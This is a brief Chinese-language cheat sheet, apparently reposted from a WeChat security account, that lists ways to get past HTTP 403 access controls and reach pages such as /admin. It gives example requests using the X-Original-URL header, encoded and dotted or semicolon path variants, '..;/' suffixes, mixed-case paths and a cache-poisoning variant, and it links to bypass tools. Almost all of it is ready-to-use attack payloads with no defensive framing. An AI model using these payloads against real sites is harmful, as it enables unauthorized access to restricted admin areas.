-
使用“X-Original-URL”标头
GET /admin HTTP/1.1
Host: target.com
试试这个绕过
GET /anything HTTP/1.1
Host: target.com
X-Original-URL: /admin
-
在第一个斜杠后附加%2e
http://target.com/admin => 403
试试这个绕过
http://target.com/%2e/admin => 200
-
尝试在 URL 中添加点 (.) 斜线 (/) 和分号 (;)
http://target.com/admin => 403
试试这个绕过
http://target.com/secret/. => 200
http://target.com//secret// => 200
http://target.com/./secret/.. => 200
http://target.com/;/secret => 200
http://target.com/.;/secret => 200
http://target.com//;//secret => 200
-
在目录名后加“..;/”
http://target.com/admin
试试这个绕过
http://target.com/admin..;/
-
尝试将网址中的字母大写
http://target.com/admin
试试这个绕过
http://target.com/aDmIN
-
通过 Web 缓存中毒
GET /anything HTTP/1.1
Host: victim.com
X-Original-URL: /admin
工具:
https://github.com/search?q=Bypass-403
原文始发于微信公众号(Ots安全):旁路 403(禁止访问)绕过
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论